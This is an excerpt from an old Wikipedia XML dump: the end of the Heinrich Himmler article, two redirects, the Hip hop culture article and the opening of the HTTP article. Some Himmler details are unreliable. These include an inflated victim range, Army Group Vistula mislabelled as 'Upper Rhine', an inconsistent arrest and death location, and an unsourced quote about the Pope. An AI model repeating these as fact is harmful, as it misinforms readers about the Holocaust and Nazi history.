'''{{Audio|de-Heinrich Himmler.ogg|Heinrich Luitpold Himmler}}''' ([[October 7]], [[1900]] &amp;ndash; [[May 23]], [[1945]]) was the commander of the German ''[[Schutzstaffel]]'' ([[SS]]) and one of the most powerful men in [[Nazi Germany]]. As [[Reichsführer-SS]], he controlled the SS and the [[Gestapo]]. He also became a leading organizer of [[the Holocaust]]. As founder and officer-in-charge of the [[Nazi concentration camps]] and the ''[[Einsatzgruppen]]'' [[death squad]]s, Himmler was responsible for implementing the industrial scale extermination of between six and twelve million people. Among the victims were [[Jew]]s, [[Gypsy|Gypsies]], [[Homosexuality|homosexuals]], [[Communism|Communists]], [[Blacks]], [[Catholics|Catholics]] and [[Slavic peoples|Slavs]]. 

== Early Nazi Party activity ==
[[Image:Freikorpshimmler.jpg|thumb|left|175px|Himmler (third from left, holding a flag) during the Beer Hall Putsch 1923]] 
In [[1923]] Himmler was a ''[[Feldwebel]]'' ([[Sergeant]]) in the ''Reichkriegsflagge,''  carrying the Imperial German Battle Ensign in the so-called [[Beer Hall Putsch]], the Nazi Party's failed attempt at a [[revolution]] in overthrowing the government of [[Bavaria]].

Between 1923 and [[1925]], with the Nazi party seemingly a failed cause, Himmler devoted himself to other interests, putting his [[agricultural]] [[diploma]] to work by becoming a [[poultry]] farmer. His time as a chicken farmer was unsuccessful, however, and he returned to the Nazi Party in late [[1926]]. In [[1927]] he married Margaret Boden.

The Nazi Party quickly put Himmler to work as the Vice District Leader and Deputy ''[[Gauleiter]]'' of Upper-Bavaria and also as [[secretary]] to ''[[Oberste SA-Führer]]'' [[Franz Pfeffer von Salomon]]. Himmler was subsequently commissioned as an SA-''[[Sturmführer]]'' in 1926, and later that year he was appointed an ''[[Oberführer]]'', becoming SS-Gauführer (District Leader) in a small SA sub-unit known as the ''[[Schutzstaffel]]'' or SS. In 1927, Himmler became the vice commander of the SS when he accepted the assignment as Deputy [[Reichsführer-SS]].

== Rise in the SS ==
[[Image:HimmlerOberfhr.jpg|thumb|left|Heinrich Himmler as an SA-Oberführer and Reichsführer-SS]]
Between 1927 and [[1929]], Himmler devoted himself increasingly to his duties as Deputy [[Reichsführer-SS]]. Upon the [[resignation]] of SS Commander [[Erhard Heiden]], Himmler was appointed as the new [[Reichsführer-SS]] in January 1929. At the time Himmler was appointed to lead the SS, it numbered only 280 members and was considered a mere [[battalion]] of the much larger SA. Himmler himself was considered only an SA-Oberführer, but after 1929 he simply referred to himself as the &quot;Reichsführer-SS&quot;.

By [[1933]], when the Nazi Party rose to power in Germany, Himmler's SS numbered 52,000 members, and the organization had developed strict membership requirements ensuring all members were of [[Adolf Hitler]]'s &quot;[[Aryan]] [[Herrenvolk]]&quot; (&quot;Aryan master race&quot;). Now a ''[[Gruppenführer]]'' in the SA, Himmler next began a massive effort to separate the SS from SA control; he introduced black [[SS uniform]]s to replace the SA brown shirts in the fall of 1933. Shortly thereafter, he was promoted to ''SS-[[Obergruppenführer]] und Reichsführer-SS'' and became an equal to the senior SA commanders, who by this time loathed the SS and the power it held.

[[Image:Heinrich_Himmler.jpg|thumb|Heinrich Himmler in 1933, wearing the new black [[SS uniform|uniform of the SS]]]]
Himmler and another of Hitler's right hand men, [[Hermann Göring]], agreed that the SA and its leader [[Ernst Röhm]] were beginning to pose a real threat to the German Army and the Nazi leadership of Germany. Röhm had strong [[socialism|socialist]] views and believed that, although Hitler had successfully gained power in Germany, the &quot;real&quot; [[revolution]] had not yet begun, leaving some Nazi leaders believing Röhm was intent on using the SA to administer a [[coup]].

With some persuasion from Himmler and Göring, Hitler began to feel threatened by this prospect and agreed that Röhm had to die. He delegated the task of Röhm's demise to Himmler and Göring who, along with [[Reinhard Heydrich]], [[Kurt Daluege]] and [[Walter Schellenberg]], carried out the [[execution]] of Röhm and numerous other senior SA officials on [[June 30]][[1934]], in what became known as &quot;The [[Night of the Long Knives]]&quot;. The next day Himmler's title of Reichsführer-SS became a rank to which he was appointed and the SS became an independent organization of the Nazi Party.

===Consolidation of power===
In [[1936]] Himmler gained further authority as the SS absorbed all of Germany's local [[law enforcement]] agencies into the new ''[[Ordnungspolizei]]'', considered a headquarters branch of the SS. Germany's secret police forces were also under Himmler's authority in the form of the ''[[Sicherheitspolizei]]'', which would in 1939 expand into the much larger [[RSHA|''Reichsicherheitshauptamt'']]. The SS was also developing its military branch, known as the ''[[SS-Verfügungstruppe]]'', which would later become known as the [[Waffen-SS]].

== Himmler and the Holocaust ==
[[Image:Himmler visits Dachau 1936.jpg|right|thumb|SS Chief Heinrich Himmler (front right, facing prisoner) on a personal visit to the [[Dachau concentration camp]] in 1936]]
After the Night of the Long Knives, the ''SS-[[Totenkopfverbände]]'' was given the task of organizing and administering Germany's [[regime]] of [[concentration camp]]s and, after [[1941]], the [[extermination camp]]s in occupied [[Poland]]. The SS, through its intelligence arm the ''[[Sicherheitsdienst]]'' (SD), was charged with finding [[Jew]]s, [[Roma (people)|Roma]], [[priest]]s, [[homosexuality|homosexuals]], [[communists]] and those persons of any other cultural, [[racial]], political or [[religious]] affiliation deemed by the Nazis to be either ''[[Untermenschen]]'' (''sub-human'') or in opposition to the regime, and placing them in concentration camps. Himmler opened the first of these camps near [[Dachau]] (see picture) on March 22nd, 1933. He became one of the main architects of [[the Holocaust]], using elements of [[mysticism]] and a fanatical belief in the [[racism|racist]] Nazi [[ideology]] to justify the [[mass murder]] and [[genocide]] of millions of victims.

=== [[Posen speech|Poznań speech]] ===

On 4 October [[1943]], Himmler referred explicitly to the extermination of the Jewish people during a secret  [[Schutzstaffel|SS]] meeting in the [[Poland|Polish]] city of [[Poznań]] (named [[Posen]] by the Germans).  The following are excerpts from a transcription of an [http://www.holocaust-history.org/himmler-poznan/ audio recording] that exists of the speech:

:''I also want to mention a very difficult subject before you here, completely openly. 
:''It should be discussed amongst us, and yet, nevertheless, we will never speak about it in public.... ''

:''I am talking about the “Jewish evacuation”: the extermination of the Jewish people. 
:''It is one of those things that is easily said. &quot;The Jewish people is being exterminated,” every Party
:''member will tell you, 'perfectly clear, it's part of our plans, we're eliminating the Jews, exterminating 
:''them, ha!, a small matter.…''

== The Second World War ==
[[Image:Hans_Frank.jpg|250px|thumbnail|Nazi governor of Poland [[Hans Frank]] (right) hosts head of SS Heinrich Himmler during a visit to [[Krakow]]]]
Before the [[Operation Barbarossa|invasion of Russia]] in [[1941]], Himmler began preparing his SS for a war of extermination against the forces of &quot;Judeo-Bolshevism&quot;. Himmler, always glad to make parallels between Nazi Germany and the [[Middle Age]]s, compared the invasion to the [[Crusade]]s. Himmler collected volunteers from all over Europe, including [[Denmark|Danes]], [[Norway|Norwegians]], [[Sweden|Swedes]], [[Netherlands|Dutch]], [[Belgium|Belgians]], [[France|French]], [[Spain|Spaniards]], and, after the invasion, [[Ukraine|Ukrainians]], [[Latvia]]ns, [[Lithuania]]ns, and [[Estonia]]ns. Himmler attracted the non-Germanic volunteers by declaring a pan-European crusade to defend the traditional values of Old Europe from the &quot;Godless Bolshevik Hordes&quot;.       

In [[1944]], Himmler was granted still further power as the result of a bitter rivalry between the ''[[Sicherheitsdienst]]'' (SD) and the ''[[Abwehr]]'', the [[Military intelligence|intelligence]] arm of the ''[[Wehrmacht]]''.

The involvement in the [[July 20 Plot|July 20, 1944, plot]] against Hitler of many of the ''Abwehr'' leaders, including its head, [[Wilhelm Canaris|Admiral Canaris]], prompted Hitler to disband the ''Abwehr'' and make the SD the sole intelligence service of the [[Third Reich]]. This increased Himmler's already considerable personal power.

In late 1944, Himmler became commander of army group ''Vistula'' (''Upper [[Rhine]]''), which was fighting the oncoming [[United States]] [[U.S. Seventh Army|7th Army]] and [[France|French]] 1st Army in the [[Alsace]] region on the west bank of the Rhine. Himmler held this post until early [[1945]] when he was switched to command an [[army group]] facing the [[Red Army]] to the East. As Himmler had no practical military experience as a field commander, he was quickly relieved of his field commands and appointed Commander of the [[Volkssturm#Origins|Home Army]]. At the same time, he was appointed as the German [[Interior Minister]] and was considered by many to be a candidate to succeed Hitler as the [[Führer]] of Germany. However, it became known after the war that Hitler never really considered Himmler as a successor even before his betrayal, believing that the authority that was his as head of the SS had caused him to be so hated that he would be rejected by the Party.

==Peace negotiations, capture and death==
[[Image:Himmler45.jpg|thumb|175px|left|Heinrich Himmler in 1945]]
By 1945, Himmler's [[Waffen-SS]] numbered 800,000 members, with the ''[[Allgemeine-SS]]'' (at least on paper) hosting a membership of nearly two million. However, by the spring of 1945 Himmler had lost faith in German victory, probably partially due to his discussions with his [[masseur]] [[Felix Kersten]] and [[Walter Schellenberg]]{{fn|2}}. He came to the realization that if the Nazi regime was to have any chance of survival, it would need to seek peace with [[United Kingdom|Britain]] and the United States. Toward this end, he contacted [[Count]] [[Folke Bernadotte]] of [[Sweden]] at [[Lübeck]], near the [[Denmark|Danish]] border, and began [[negotiation]]s to surrender in the West. Himmler hoped the British and Americans would fight their [[Soviet]] allies with the remains of the Wehrmacht. When [[Hitler]] discovered this, Himmler was declared a [[treason|traitor]] and stripped of all his titles and ranks  the day before [[Hitlers death|Hitler committed suicide]]. At the time of Himmler's denunciation, he held the positions of Reich Leader-SS, Chief of the German Police, Reich Commissioner of German Nationhood, Reich Minister of the Interior, Supreme Commander of the ''[[Volkssturm]]'', and Supreme Commander of the Home Army.

Unfortunately for Himmler, his negotiations with Count Bernadotte failed. Since he could not return to [[Berlin]], he joined [[Grand Admiral]] [[Karl Dönitz]], who by then was commanding all German forces in the West, in nearby [[Plön]]. Somehow, Hitler's orders concerning him never reached Dönitz. After Hitler's death, Himmler joined the short-lived [[Flensburg government]] headed by [[Dönitz]] but was dismissed on May 6, 1945 by its leader in a move he hoped would gain him favour with the Allies. 

Himmler next turned to the Americans as a [[defector]], contacting the headquarters of [[Dwight Eisenhower]] and proclaiming he would surrender all of Germany to the Allies if he was spared from [[prosecution]] as a Nazi leader. In an example of Himmler's mental state at this point, he sent a personal application to General [[Eisenhower]] stating he wished to apply for the position of &quot;Minister of Police&quot; in the post-war government of Germany. He also reportedly mused on how to handle his first meeting with the SHAEF commander and whether to give the Nazi salute or shake hands with him. [[Eisenhower]] refused to have anything to do with Himmler and he was subsequently declared a major [[war crimes|war criminal]].

[[Image:Himmler Dead.jpg|thumb|The dead self-poisoned Himmler after capture by Allied troops, 1945]]
Unwanted by his former colleagues and hunted by the Allies, Himmler wandered for several days around [[Flensburg]] near the Danish border, capital of the Dönitz government. Attempting to evade [[arrest]], Himmler disguised himself as a member of the ''[[Gendarmerie]]'' in the hope that he could return to Bavaria. He had equipped himself with a full set of false documents, but someone whose papers were wholly in order was so unusual that it aroused the suspicions of a [[British Army]] unit in [[Bremen (city)|Bremen]], Germany and he was arrested on May 22nd. In captivity he was soon recognized. Himmler was scheduled to stand trial with other German leaders as a major war criminal at [[Nuremberg Trials|Nuremberg]], but committed [[suicide]] in [[Lüneburg]] by swallowing a [[potassium cyanide]] capsule before [[interrogation]] could begin. His last words were, &quot;I am Heinrich Himmler!&quot;

===Conspiracy theories===
There would be later claims that the man who committed suicide in Bremen was not Himmler but a [[political decoy|double]]. Statements allegedly attributed to [[ODESSA]] were said to have asserted Himmler escaped to the tiny and rustic farming village of Strones in the Waldviertel, a hilly forested area in the northwest part of Lower Austria just north of Vienna, birthplace of [[Alois Hitler]], where he was running a reborn SS in [[exile]].

A recently-published book by American author Joseph Bellinger, ''Himmler's Death'', offers another &quot;[[conspiracy theory]]&quot; alternative to Himmler's death, stating that Heinrich Himmler was [[Assassination|assassinated]] by his British interrogators in May 1945 along with other high-ranking officers of the SS and Werewolf Resistance Organization. Bellinger's book was first published in Germany by Arndt Verlag, [[Kiel]]. A similar book, ''Himmler's Secret War'', by Martin Allen makes similar claims: it is apparently based on forged documents smuggled into the (British) [[The National Archives|National Archives]] [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2005/08/01/nhimm01.xml (link to news report)].

Most historians discount these claims.

==Historical view==
Feared by many, but respected by some of his colleagues{{fn|3}}, several historians have argued Himmler was made more by those who worked under him than by his own designs, although others note how he visited the concentration camps much more frequently than his job would have required, urging the SS men to increase atrocities and personally witnessing many mass shootings unlike [[Hitler]], who is not known to have ever visited one of the camps.

==Surviving family==
He was survived by his wife Marga and natural [[Nazi children|daughter]] Gudrun (Burwitz) (b. [[1929]]), who still resides in Germany and by his illegitimate son Helge (b.1942) and daughter Nanette Doreathea (b.1944) from a relationship with his personal assistant Hedwig Potthast. Catharine Himmler, a  second [[niece]] of Heinrich Himmler, is married to an [[Israel]]i, the son of Holocaust survivors who survived the [[Warsaw Ghetto]] [http://www.ynetnews.com/articles/0,7340,L-3168071,00.html].

==Quotes from Himmler==

&quot;Ultimately, our (the Nazis) greatest enemy is the Pope is Rome&quot;

== References ==
{{Commons|Heinrich Himmler}}
*{{fnb|1}} Heinz Höhne, ''The Order of the Death's Head: The Story of Hitler's SS'', London: Pan Books Ltd. 1972 (ISBN 0330029630)
*Crocker, Harry, &quot;Triumph: A 2,000 Year History of the Catholic Church&quot;
*{{fnb|2}} ''ibid.''
*{{fnb|3}} ''ibid.''

{{start box}}
{{succession box|before=[[Erhard Heiden]]|title=[[Reichsführer-SS]]|
years=[[1929]]&amp;ndash;[[1945]]|after=[[Karl Hanke]]}}
{{succession box|before=[[Wilhelm Frick]]|title=[[Interior Minister of Germany]]|years=1943&amp;ndash;1945|after=[[Wilhelm Stuckart]]}}
{{end box}}

&lt;!--Categories--&gt;
[[Category:1900 births|Himmler, Heinrich]]
[[Category:1945 deaths|Himmler, Heinrich]]
[[Category:SS General Officers|Himmler, Heinrich]]
[[Category:Military people who committed suicide|Himmler, Heinrich]]
[[Category:Nazi leaders|Himmler]]
[[Category:War criminals|Himmler, Heinrich]]
[[Category:Natives of Bavaria|Himmler, Heinrich]]

&lt;!--Other languages--&gt;

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[[bs:Heinrich Himmler]]
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[[fa:هاینریش هیملر]]
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[[ko:하인리히 히믈러]]
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[[he:היינריך הימלר]]
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[[zh:海因里希·希姆莱]]</text>
    </revision>
  </page>
  <page>
    <title>Hip Hop</title>
    <id>13437</id>
    <revision>
      <id>36134636</id>
      <timestamp>2006-01-21T22:03:18Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <comment>#REDIRECT [[Hip hop]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>Hip hop culture</title>
    <id>13439</id>
    <revision>
      <id>42140703</id>
      <timestamp>2006-03-04T02:15:49Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.179.36.24|70.179.36.24]] ([[User talk:70.179.36.24|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">[[Image:Hip hop.jpg|thumb|right|400px|Breakdancer in [[Ljubljana]]. ]]
'''Hip hop''' is a cultural movement that began among the mostly [[African American]] and [[Latino]] communities in the [[Bronx]] borough of [[New York City]] in the early 1970s. Portions of the culture began spreading into the mainstream during the early [[1980s]], and by the [[1990s]], hip hop culture had spread all over the world. The movement is said to have began with the work of [[Kool DJ Herc|DJ Kool Herc]], while competing DJ [[Afrika Bambaataa]] is often credited with having invented the term &quot;hip hop&quot; to describe the culture. 

The four main aspects, or &quot;elements&quot;, of hip hop culture are [[MC]]ing ([[rapping]]), [[Disk jockey|DJing]], [[graffiti]], and [[breakdancing]]. Some consider [[beatboxing]] the fifth element of hip hop; others might add political activism, [[hip hop fashion]], [[hip hop slang]], [[double dutching]] (an urban form of [[rope skipping]],) or other elements as important facets of hip hop. In mainstream spheres, the term &quot;hip hop&quot; typically refers only to ''[[hip hop music]]'' (or ''rap music''), the music produced by the MCing and DJing aspects of hip hop culture.

==Influences==
[[Image:U-Roy.jpg|frame|left|[[U-Roy]]]]
:''Main article: [[Roots of hip hop]]''

The various factors that influenced hip hop culture are complex and numerous. Although the majority of influences can be traced to [[African]] culture, the multicultural society of New York City resulted in diverse musical influences finding their way into hip hop music.

Elements of the style and techniques of rapping originate with the [[griot|griots]] of West Africa; traveling singers and poets had musical styles that contained elements of what would later evolve into hip hop music. Some griot traditions came to the United States, the UK and the Caribbean with the passage of African [[slavery|slave]]s to the [[New World]]. Other notable influences are the spoken word sections of records by [[soul music|soul]] and [[funk music|funk]] musicians such as [[James Brown (musician)|James Brown]] and [[Isaac Hayes]].

One of the many influences for both hip hop culture and music is the [[Jamaica]]n [[musical genre|style]] called [[dub music|dub]], which arose as a sub-genre of [[Reggae]] in the [[1960s]]. Dub music saw producers such as [[King Tubby]] creating instrumental versions of popular reggae records for the purpose of clubs and [[Sound system]]s; they had discovered that dancers often responded better to the extended, isolated beats of the records, often featuring intense [[percussion instrument|percussion]] and heavy bass lines. Soon, the [[MC]]s that hosted the dances began speaking over the instrumental records, and the skills of MCs such as [[U-Roy]], [[Dr. Alimontado]] and [[Dillinger]] saw them become popular performers in their own right. This tradition continues in contemporary [[Dancehall]] music. In [[1967]], Jamaican immigrants brought dub to [[New York City]] and began playing it at parties in community centers, roller rinks and on the streets.  

Another significant influence is [[blues]] music, particularly its [[call and response]] aspect.  This survived into the tradition of &quot;toasting&quot;, another aspect of the oral tradition intrinsic to hip hop music. This became most pronounced in the tradition of MC battles, begun in the early 1980's.

==Origins==
:''Main article: [[History of hip hop]]''
[[Image:DJKoolHerc.jpg|frame|right|[[Kool DJ Herc|DJ Kool Herc]]]]

[[Kool DJ Herc|DJ Kool Herc]], a Jamaican immigrant, was one of the most popular DJs in New York during the [[1970s]], and played at many neighborhood [[block party|block parties]] in the Bronx. After his first gig on Sedgwick Ave. in the Bronx in [[1973]], Herc quickly switched from using [[reggae]] records to [[funk]], [[rock music]] and [[disco]], as he found that the New York audience did not particularly like reggae.  Herc and other DJs found that dancers often preferred the percussive breaks of the records, and began extending them using an audio mixer and two records. Within a highly competitive atmosphere, Herc's friends and competitors quickly developed other mixing techniques in order to keep audiences excited.

As in Jamaica, these events were often hosted by a performer who spoke while the music played; these were originally called ''MCs'' (''Masters of Ceremonies'') and, later, ''rappers''. Early rappers focused on introducing themselves, the DJ and others in the audience, although they quickly progressed to including improvisation and a simple four-count beat, along with a simple chorus. Later MCs added more complex and often humorous lyrics, and incorporated sexual themes. Although it had yet to be recorded, hip hop music steadily grew in popularity, and by the end of the 1970s was beginning to become a major artistic force which had spread throughout the United States. During the [[1980s]] and [[1990s]], hip hop gradually became mainstream in the United States, a transition usually considered to have been completed in [[1992]] By the end of the decade, the culture had spread worldwide.



==Hip hop music==
:''Main articles: [[Hip hop music]] and [[History of hip hop music]]

Hip hop music, distinguishable by its emphasis on rhythm and frequent inclusion of [[rapping]], arose from the mixing of Jamaican and American music by the immigrant [[DJ Kool Herc]] in his block parties which started as early as 1970.  [[Rapping]] is the hip hop equivalent of the [[toasting]] which could be found in Jamaican [[dub music]] at the same time.  Herc would play the [[funk]] records that his audience demanded, but he invented the hip hop beat by isolating the &quot;breaks&quot; (the part in the song with only drums) from the rest of the song. While an entire culture grew out of this music, the music itself developed with years, leading to a [[golden age hip hop|golden age]] from 1986 to 1993.

===MCing===
:''Main articles: [[Master of Ceremonies]] and [[Rapping]]

The most visible role in hip hop culture today is that of the MC&amp;mdash; the master of ceremonies.  The MC entertains the crowd with their rapping (the rhythmic delivery of rhymes).  With its roots in Jamaican [[toasting]], rapping has developed significantly since its introduction to hip-hop culture by [[Kool DJ Herc]] and [[DJ Hollywood]] in the early 70's.  The first true MC in hip hop culture was [[Coke La Rock]].  Rapping and MCing have developed throughout the years, due to the achievements of pioneers such as [[Melle Mel]], [[Kool Moe Dee]], [[Schooly D]], [[Run DMC]], and [[Rakim]].

One of the most important aspects of MCing is the concept of the [[MC battle]]. Battling is when two MC's engage in a rapping competition against each other, a practice dating back to hip hop's earliest years. The purpose of battling is for each MC to try to diminish their opponent's lyrical skills, subject matter, or even personal qualities; and also to gain the favor of the crowd or audience. The level of crowd impression with a particular lyricist is determined by various forms of lyrical delivery, skill, insults and their ability to &quot;move the crowd&quot;. The crowd's reactions determine the victor, thus giving the triumphant lyricist recognition.

Most &quot;true&quot; battles occur in various underground hip hop clubs and events, although many occur in settings as informal as a street corner. These events are usually fixed contests. More well-known battle MCs may go public with a battle on the [[radio]] or produce a &quot;diss&quot; record and call out their potential opponent. Most public battles are publicity events used to gain exposure and acquire more [[fan (aficionado)|fans]].

While less common than rap battles (in which only MCs participate), DJ battles, breakdancing battles, and beatboxing battles are also conducted. As in rap battling, audience response and participation (and, occasionally, panel judging) are used as the metric by which a victor is selected.

===DJing===
:''Main article: [[Disc jockey|DJing]]

While hip hop did not invent DJing, it has extended its boundaries and techniques.  The first hip hop DJ was [[Kool DJ Herc]], who created hip hop through the isolation of &quot;breaks&quot; (the parts of albums that focused solely on the beat).  In addition to developing Herc's techniques, DJ's [[Grandmaster Flash]], [[Grand Wizard Theodore]], and [[Grandmaster Caz]] made further innovations with the introduction of [[scratching]].  

Traditionally, a DJ will use two [[turntables]] simultaneously.  These are connected to a [[DJ mixer]], an [[amplifier]], [[speakers]], and various other pieces of electronic music equipment. The DJ will then perform various tricks between the two [[albums]] currently in rotation using the above listed methods. The result is a unique sound created by the seemingly combined [[sound]] of two separate [[songs]] into one song. A DJ should not be confused with a [[record producer|producer]] of a music track (though there is considerable overlap between the two roles).

In the early years of hip hop, the DJ's were the stars, but their limelight has been taken by MC's since 1978, thanks largely to [[Melle Mel]] of Grandmaster Flash's crew, the [[Furious Five]].  However, a number of DJ's have gained stardom nonetheless in recent years. Famous DJ's include [[Grandmaster Flash]], [[Mr. Magic]], [[DJ Jazzy Jeff]], [[DJ Scratch]] from [[EPMD]], [[DJ Premier]] from [[Gang Starr]],[[Scott La Rock|DJ Scott La Rock]] from [[Boogie Down Productions]], [[DJ Muggs]] from [[Cypress Hill]], [[Jam Master Jay]] from [[Run-DMC]], [[Eric B.]], [[Funkmaster Flex]], [[Tony Touch]], [[DJ Clue]], [[Q-bert (DJ)|DJ Q-Bert]]. The underground movement of [[turntablism]] has also emerged to focus on the skills of the DJ.

==Beatboxing==
:''Main article: [[Beatboxing]]

Beatboxing, invented by [[Doug E. Fresh]], considered by many to be the &quot;fifth element&quot; of hip hop, is the [[vocal percussion]] of hip hop culture.  It is primarily concerned with the art of creating beats, rhythms, and melodies using the human mouth. The term 'beatboxing' is derived from the mimicry of the first generation of drum machines, then known as beatboxes.  

The art form enjoyed a strong presence in the '80s with artists like the [[Fat Boys]] and [[Biz Markie]] showing their beatboxing skills. Beatboxing declined in popularity along with breakdancing in the late 80s, and almost slipped even deeper than the underground.  Beatboxing has been enjoying a resurgence since the late '90s, marked by the release of &quot;Make the Music 2000.&quot; by [[Rahzel]] of [[The Roots]] (known for even singing while beatboxing)   The [[Internet]] has greatly aided the rebirth of modern beatboxing&amp;mdash;on a global level never seen before&amp;mdash;with thousands of beatboxers from over a dozen countries interacting on the UK's Humanbeatbox.com.

Beatboxing has also recently branched beyond its traditional scope (mimicry of &quot;beat boxes&quot; to create hip hop beats) to several new stand alone forms. It is now widely practiced as a form of human Drum &amp; Bass, a style of heavy electronic music. The range of sounds that can be reproduced by the human vocal chords are staggering to many unfamiliar with this musical practice.

==Graffiti art==
[[Image:Taki183.jpg|thumb|right|250px|Graffiti art]]
:''Main articles: [[Graffiti]] and [[Types of graffiti]]

An age old practice, graffiti holds special significanceas one of the elements of hip hop culture. Graffiti as an urban art form has existed since at least the [[1950s]], but began developing in earnest in the late [[1960s]], and flourished during the [[1970s]].

Graffiti in hip hop began as a way of &quot;tagging&quot; for one's crew/gang, and developed during the 1970s on the subways of [[New York]], and later expanded to the city walls themselves. This movement from trains to walls was encouraged by the efforts of New York's [[Metropolitan Transportation Authority (New York)|Metropolitan Transportation Authority]] to eradicate graffiti on their property (the M.T.A. officially declared the transit graffiti-free in 1989).

The first forms of subway graffiti were quick spray-painted or marker signatures (&quot;tags&quot;), which quickly evolved into large elaborate calligraphy, complete with color effects, shading, and more. As time went by, graffiti artistically developed and began to greatly define the aesthetic of urban areas.  Many hip hop crews have made a name for themselves through their graffiti such as [[Afrika Bambaataa]]'s [[Black Spades]]. By [[1976]], graffiti artists like [[Lee Quinones]] began panting entire murals using advanced techniques.

The book ''Subway Art'' (New York: Henry Holt &amp; Co, [[1984]]) and the TV program ''[[Style Wars]]'' (first shown on the [[PBS]] channel in 1984) were among the first ways the mainstream public were introduced to graffiti. Quickly, the rest of the globe imitated and adapted hip hop graffiti. Today, there are also strong scenes in [[Europe]], [[South America]], [[Australia]] and [[Japan]].

Graffiti has long been villianized by those in authority and allegedly associated with gangs, violence, drug culture and street crime. In most jurisdictions, creating graffiti art on public property without permission is a criminal offense punishable by fines and incarceration.

==Breakdancing==
:''Main article: [[Breakdancing]]

Breakdancing, also known as B-boying or B-girling by its practitioners and followers, is a dynamic style of dance. The term &quot;breakdancer&quot; originates from the dancers at DJ Kool Herc's parties, who saved their best dance moves for the [[break (music)|break]] section of the song. Breaking is one of the major elements of hip hop culture, commonly associated with, but distinct from, &quot;popping,&quot; &quot;locking,&quot; &quot;hitting,&quot; &quot;ticking,&quot; &quot;boogaloo,&quot; and other funk styles that evolved independently during the late 20th century. It was common during the [[1980]]s to see a group of people with a radio on a [[playground]], [[basketball]] court, or sidewalk performing a breakdancing show for a large audience.

While breaking in its current form began in the South Bronx alongside the other elements of hip hop, it is similar in style to (and may possibly derive from) the [[Capoeira]] form of [[dancing]]/[[martial arts]], which was developed by [[slaves]] in [[Brazil]].

&quot;Hip-Hop&quot; as a form of dance is becoming more popular. Hip hop dance comes from breakdancing, but does not consist wholly of breakdancing moves. Unlike most other forms of dance, which are often at least moderately structured, hip hop dance has few (if any) limitations on positions or steps.

==Other elements==
During the early years of hip hop, [[double dutching]] existed as a minor element that had a following mostly made up of teenage girls. Double dutch is a [[rope skipping]] game that involves two ropes, two persons to turn the ropes, and two more persons in the middle jumping the ropes. While the game is played, the persons turning the ropes would recite urban rhymes, giving the game some correlation to the art of MCing. Double dutching fell out of favor as an part of hip hop as the culture became more male-centric during the late 1970s and early 1980s, although the game is still a popular activity on its own in many American communities.

As it grew and developed into a multi million dollar industry, the scope of hip hop culture grew beyond the boundaries of its traditional four elements. [[KRS-ONE]], a rapper from the golden age of hip hop, names nine elements of hip hop culture: the traditional four and beatboxing, plus [[hip hop fashion|street fashion]], [[hip hop slang|street language]], street knowledge, and street entreprenualism.

==See also==
*[[Hip hop theatre]]
*[[Hip hop music]]
*[[History of hip hop]]
*[[Hip hop references]]
*[[Hip hop rivalries]]

==References==
*(1999) Light, Alan, ed. ''The VIBE History of Hip-Hop''. New York: Three Rivers Press.

==External links==
*[http://www.rap.about.com Rap.about.com] Hip hop culture resource
*[http://www.daveyd.com/ Davey D's Hip-Hop Corner]
*[http://www.xxlmag.com/ Homepage for XXL Magazine], the leading publication dedicated to hip hop music and culture
*[http://www.templeofhiphop.org/ Homepage for KRS-ONE's Temple of HipHop]

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[[sv:Hiphop]]
[[zh:嬉蹦文化]]</text>
    </revision>
  </page>
  <page>
    <title>H.M. Rouell</title>
    <id>13441</id>
    <revision>
      <id>15911050</id>
      <timestamp>2002-10-10T11:32:49Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Hilaire_Rouelle]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hilaire_Rouelle]]</text>
    </revision>
  </page>
  <page>
    <title>HyperText Transfer Protocol</title>
    <id>13443</id>
    <revision>
      <id>41642646</id>
      <timestamp>2006-02-28T19:13:23Z</timestamp>
      <contributor>
        <username>Lee J Haywood</username>
        <id>42014</id>
      </contributor>
      <minor />
      <comment>Reverted vandalism</comment>
      <text xml:space="preserve">{{IPstack}}
&lt;!-- Edit the stack image at: Template:IPstack --&gt;
'''[[Hypertext|HyperText]] Transfer [[communications protocol|Protocol]]''' ('''HTTP''') is the  method used to transfer or convey information on the [[World Wide Web]]. The original purpose was to provide a way to publish and receive [[HTML]] pages.

Development of HTTP was coordinated by the [[World Wide Web Consortium]] and working groups of the [[Internet Engineering Task Force]], culminating in the publication of a series of [[Request for Comments|RFC]]s, most notably RFC 2616, which defines HTTP/1.1, the version of HTTP in common use today.

HTTP is a request/response protocol between clients and servers. An HTTP client, such as a [[web browser]], typically initiates a request by establishing a [[Transmission Control Protocol]] (TCP) connection to a particular [[port (computing)|port]] on a remote host ([[port 80]] by default; see [[List of well-known ports (computing)]]). An HTTP server listening on that port waits for the client to send a request string, such as &quot;&lt;tt&gt;GET / HTTP/1.1&lt;/tt&gt;&quot; (which would request the default page of that [[web server]]), followed by an email-like [[MIME]] message which has a number of informational header strings that describe aspects of the request, followed by an optional body of arbitrary data. Some headers are optional, while others (such as Host) are required by the HTTP/1.1 protocol. Upon receiving the request, the server sends back a response string, such as &quot;HTTP/1.1 200 OK&quot;, and a message of its own, the body of which is perhaps the requested file, an error message, or some other information.

Resources to be accessed by HTTP are identified using [[Uniform Resource Identifier]]s (URIs) (or, more specifically, [[Uniform Resource Locator|URL]]s) using the &lt;tt&gt;http:&lt;/tt&gt; or [[https: URI scheme|https:]] [[URI scheme]]s.

==Request methods==
HTTP defines eight methods indicating the desired action to be performed on the identified resource.
* '''GET''' &amp;ndash; Requests a representation of the specified resource. By far the most common method used on the Web today.
* '''HEAD''' &amp;ndash; Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.
* '''POST''' &amp;ndash; Submits user data (e.g. from a HTML form) to the identified resource. The data is included in the body of the request.
* '''PUT''' &amp;ndash; Uploads a representation of the specified resource.
* '''DELETE''' &amp;ndash; Deletes the specified resource (rarely implemented).
